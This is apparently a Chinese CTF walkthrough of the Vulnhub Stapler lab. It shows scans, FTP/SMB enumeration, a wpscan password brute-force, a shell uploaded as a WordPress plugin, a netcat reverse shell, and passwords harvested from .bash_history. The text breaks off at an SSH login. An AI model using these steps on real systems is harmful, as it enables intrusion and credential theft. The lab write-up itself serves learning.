首页 > 其他分享 >Vulnhub之Stapler靶机详细测试过程

Vulnhub之Stapler靶机详细测试过程

时间:2023-02-03 20:33:06浏览次数:44  
标签:Stapler kali 56.195 12380 192.168 Vulnhub https 靶机 root

Stapler

识别目标主机IP地址

(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ sudo netdiscover -i eth0 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                        
                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:0a      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:77:d4:57      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.195  08:00:27:9a:65:a1      1      60  PCS Systemtechnik GmbH 

利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.195

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.195 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-03 04:47 EST
Nmap scan report for 192.168.56.195
Host is up (0.00040s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.206
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8121cea11a05b1694f4ded8028e89905 (RSA)
|   256 5ba5bb67911a51c2d321dac0caf0db9e (ECDSA)
|_  256 6d01b773acb0936ffab989e6ae3cabd3 (ED25519)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, ConnectWithDatabase, LongPassword, InteractiveClient, ODBCClient, Speaks41ProtocolOld, Speaks41ProtocolNew, FoundRows, LongColumnFlag, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsLoadDataLocal, SupportsTransactions, SupportsCompression, IgnoreSpaceBeforeParenthesis, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: =\x042GpQ\x07\x058V\x1A?"xx\x19\x0C_\x01o
|_  Auth Plugin Name: mysql_native_password
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.93%I=7%D=2/3%Time=63DCD8C2%P=x86_64-pc-linux-gnu%r(NULL
SF:,16A0,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\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\
SF:xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\x
SF:88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xbc
SF:L}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0\
SF:.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04\x
SF:f6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\xf
SF:3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\?
SF:\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 08:00:27:9A:65:A1 (Oracle VirtualBox virtual NIC)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2023-02-03T17:50:06+00:00
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time: 
|   date: 2023-02-03T17:50:07
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.61 seconds

获得Shell

3306端口

 ┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ mysql -uroot -p -h 192.168.56.195
Enter password: 
ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.206' (using password: YES)
                                                                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ mysql -uroot -p -h 192.168.56.195
Enter password: 
ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.206' (using password: NO)

看一下Mysql是否有弱口令,答案是否定的。

21端口

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ ftp 192.168.56.195
Connected to 192.168.56.195.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220 
Name (192.168.56.195:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jun 04  2016 .
drwxr-xr-x    2 0        0            4096 Jun 04  2016 ..
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
100% |********************************************************************************|   107        2.91 MiB/s    00:00 ETA
226 Transfer complete.
107 bytes received in 00:00 (174.73 KiB/s)
ftp> quit
221 Goodbye.
                                                                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ cat note    
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

  1. 目标允许匿名ftp访问

  2. 得到可能的用户名: Elly, John, Harry

139端口

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ smbclient -L 192.168.56.195                                
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        kathy           Disk      Fred, What are we doing here?
        tmp             Disk      All temporary files should be stored here
        IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            RED
                                                                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ smbclient //192.168.56.195/kathy
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun  3 12:52:52 2016
  ..                                  D        0  Mon Jun  6 17:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 11:02:27 2016
  backup                              D        0  Sun Jun  5 11:04:14 2016

                19478204 blocks of size 1024. 16397064 blocks available
smb: \> cd kathy_stuff\
smb: \kathy_stuff\> ls
  .                                   D        0  Sun Jun  5 11:02:27 2016
  ..                                  D        0  Fri Jun  3 12:52:52 2016
  todo-list.txt                       N       64  Sun Jun  5 11:02:27 2016

                19478204 blocks of size 1024. 16397064 blocks available
smb: \kathy_stuff\> get todo-list.txt 
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (31.2 KiloBytes/sec) (average 31.2 KiloBytes/sec)
smb: \kathy_stuff\> cd ..
smb: \> cd backup\
smb: \backup\> ls
  .                                   D        0  Sun Jun  5 11:04:14 2016
  ..                                  D        0  Fri Jun  3 12:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 11:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Mon Apr 27 13:14:46 2015

                19478204 blocks of size 1024. 16397064 blocks available
smb: \backup\> get vsftpd.conf 
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (2910.5 KiloBytes/sec) (average 1470.9 KiloBytes/sec)
smb: \backup\> get wordpress-4.tar.gz 
getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (25301.6 KiloBytes/sec) (average 24917.3 KiloBytes/sec)
smb: \backup\> quit
                                                                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ ls
nmap_full_scan  note  todo-list.txt  vsftpd.conf  wordpress-4.tar.gz

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ cat todo-list.txt 
I'm making sure to backup anything important for Initech, Kathy

80端口

┌──(kali㉿kali)-[~/Vulnhub/Stapler/wordpress]
┌──(kali㉿kali)-[~/Vulnhub/Stapler/wordpress]
└─$ nikto -h http://192.168.56.195       
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.195
+ Target Hostname:    192.168.56.195
+ Target Port:        80
+ Start Time:         2023-02-03 04:59:37 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated:  20 error(s) and 5 item(s) reported on remote host
+ End Time:           2023-02-03 04:59:49 (GMT-5) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(kali㉿kali)-[~/Vulnhub/Stapler/wordpress]
└─$ gobuster dir -u http://192.168.56.195 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.195
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              txt,sh,php,html
[+] Timeout:                 10s
===============================================================
2023/02/03 05:01:05 Starting gobuster in directory enumeration mode
===============================================================
Progress: 1102254 / 1102805 (99.95%)===============================================================
2023/02/03 05:09:22 Finished
===============================================================

12380端口

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ nikto -h http://192.168.56.195:12380       
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.195
+ Target Hostname:    192.168.56.195
+ Target Port:        12380
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/[email protected]
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/[email protected]
+ Start Time:         2023-02-03 05:09:24 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Hostname '192.168.56.195' does not match certificate's names: Red.Initech
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8071 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2023-02-03 05:15:02 (GMT-5) (338 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

  1. 12380为https(重要!)

  2. 发现目录/admin112233/, /blogblog/,/phpmyadmin/

┌──(kali㉿kali)-[~/Vulnhub/Stapler/wordpress]
└─$ curl https://192.168.56.195:12380/robots.txt -k
User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

注意这里需要是https,以及加上-k选项,否则无法获取相应的内容。

/admin112233是被人XSS攻击

/blogblog为wordpress站点。

                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ gobuster dir -u https://192.168.56.195:12380 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt -k
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://192.168.56.195:12380
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,html,sh,txt
[+] Timeout:                 10s
===============================================================
2023/02/03 05:18:42 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 296]
/.html                (Status: 403) [Size: 297]
/index.html           (Status: 200) [Size: 21]
/announcements        (Status: 301) [Size: 334] [--> https://192.168.56.195:12380/announcements/]
/javascript           (Status: 301) [Size: 331] [--> https://192.168.56.195:12380/javascript/]
/robots.txt           (Status: 200) [Size: 59]
/phpmyadmin           (Status: 301) [Size: 331] [--> https://192.168.56.195:12380/phpmyadmin/]
Progress: 150972 / 1102805 (13.69%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2023/02/03 05:33:45 Finished
===============================================================

┌──(kali㉿kali)-[~/Vulnhub/Stapler/wordpress]
└─$ curl https://192.168.56.195:12380/announcements/message.txt -k
Abby, we need to link the folder somewhere! Hidden at the mo

不太理解message.txt的内容,先放一放!

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ gobuster dir -u https://192.168.56.195:12380/blogblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt -k
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://192.168.56.195:12380/blogblog/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,html,sh,txt
[+] Timeout:                 10s
===============================================================
2023/02/03 05:34:16 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 305]
/.html                (Status: 403) [Size: 306]
/index.php            (Status: 301) [Size: 0] [--> https://192.168.56.195:12380/blogblog/]
/wp-content           (Status: 301) [Size: 340] [--> https://192.168.56.195:12380/blogblog/wp-content/]
/wp-login.php         (Status: 200) [Size: 2824]
/license.txt          (Status: 200) [Size: 19930]
/wp-includes          (Status: 301) [Size: 341] [--> https://192.168.56.195:12380/blogblog/wp-includes/]
/readme.html          (Status: 200) [Size: 7360]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-admin             (Status: 301) [Size: 338] [--> https://192.168.56.195:12380/blogblog/wp-admin/]
Progress: 52555 / 1102805 (4.77%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2023/02/03 05:39:39 Finished
===============================================================
                                                                                  
┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ wpscan --url https://192.168.56.195:12380/blogblog/ --disable-tls-checks -e u,p
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: https://192.168.56.195:12380/blogblog/ [192.168.56.195]
[+] Started: Fri Feb  3 05:41:01 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.18 (Ubuntu)
 |  - Dave: Soemthing doesn't look right here
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://192.168.56.195:12380/blogblog/xmlrpc.php
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
 | Confirmed By:
 |  - Link Tag (Passive Detection), 30% confidence
 |  - Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://192.168.56.195:12380/blogblog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Registration is enabled: https://192.168.56.195:12380/blogblog/wp-login.php?action=register
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: https://192.168.56.195:12380/blogblog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://192.168.56.195:12380/blogblog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
 | Found By: Rss Generator (Passive Detection)
 |  - https://192.168.56.195:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
 |  - https://192.168.56.195:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>

[+] WordPress theme in use: bhost
 | Location: https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/
 | Last Updated: 2022-10-30T00:00:00.000Z
 | Readme: https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | Style URL: https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
 | Style Name: BHost
 | Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
 | Author: Masum Billah
 | Author URI: http://getmasum.net/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2.9 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'

[+] Enumerating Most Popular Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] John Smith
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By: Rss Generator (Passive Detection)

[+] john
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] elly
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] peter
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] barry
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] heather
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] garry
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] harry
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] scott
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] kathy
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] tim
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Feb  3 05:41:05 2023
[+] Requests Done: 72
[+] Cached Requests: 6
[+] Data Sent: 20.569 KB
[+] Data Received: 294.93 KB
[+] Memory used: 237.957 MB
[+] Elapsed time: 00:00:03

wpscan 扫描出若个用户名,首先关注第一个用户名: John Smith,手动确认一下,应该是john

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ wpscan --url https://192.168.56.195:12380/blogblog/ --disable-tls-checks -U john -P /usr/share/wordlists/rockyou.txt     
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: https://192.168.56.195:12380/blogblog/ [192.168.56.195]
[+] Started: Fri Feb  3 05:43:30 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.18 (Ubuntu)
 |  - Dave: Soemthing doesn't look right here
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://192.168.56.195:12380/blogblog/xmlrpc.php
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
 | Confirmed By:
 |  - Link Tag (Passive Detection), 30% confidence
 |  - Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://192.168.56.195:12380/blogblog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Registration is enabled: https://192.168.56.195:12380/blogblog/wp-login.php?action=register
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: https://192.168.56.195:12380/blogblog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://192.168.56.195:12380/blogblog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
 | Found By: Rss Generator (Passive Detection)
 |  - https://192.168.56.195:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
 |  - https://192.168.56.195:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>

[+] WordPress theme in use: bhost
 | Location: https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/
 | Last Updated: 2022-10-30T00:00:00.000Z
 | Readme: https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | Style URL: https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
 | Style Name: BHost
 | Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
 | Author: Masum Billah
 | Author URI: http://getmasum.net/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2.9 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://192.168.56.195:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <===============================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - john / incorrect                                                                                                  
All Found                                                                                                                     
Progress Time: 00:05:16 <                                                                > (370 / 28688)  1.28%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: john, Password: incorrect

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Feb  3 05:48:51 2023
[+] Requests Done: 512
[+] Cached Requests: 35
[+] Data Sent: 169.329 KB
[+] Data Received: 37.937 MB
[+] Memory used: 407.672 MB
[+] Elapsed time: 00:05:20
                                                

成功得到密码:

username: john

password: incorrect

用上述信息登录后台,发现没有写权限,无法用替换404.php模板的方法获得shell.

但是在plugin处可以直接上传shell.php文件,不用压缩成zip

在/wp-content/uploads/目录即可看到该文件

https://192.168.56.195:12380/blogblog/wp-content/uploads/
┌──(kali㉿kali)-[~/Vulnhub/Stapler/wordpress]
┌──(kali㉿kali)-[~/Vulnhub/Stapler/wordpress]
└─$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.195] 33616
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
 20:00:19 up  2:16,  0 users,  load average: 0.00, 0.01, 0.48
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@red:/$ cd /home
cd /home

www-data@red:/home$ cat */.bash_history
cat */.bash_history
exit
free
exit
exit
exit
exit
exit
exit
exit
exit
id
whoami
ls -lah
pwd
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
ps -ef
top
kill -9 3747
exit
exit
exit
exit
exit
whoami
exit
exit
exit
exit
exit
exit
exit
exit
exit
id
exit
top
ps aux
exit
exit
exit
exit
cat: peter/.bash_history: Permission denied
top
exit
www-data@red:/home$ 

发现了用户peter的密码

提权

┌──(kali㉿kali)-[~/Vulnhub/Stapler]
└─$ ssh [email protected]                  
The authenticity of host '192.168.56.195 (192.168.56.195)' can't be established.
ED25519 key fingerprint is SHA256:eKqLSFHjJECXJ3AvqDaqSI9kP+EbRmhDaNZGyOrlZ2A.
This key is not known by any other names.
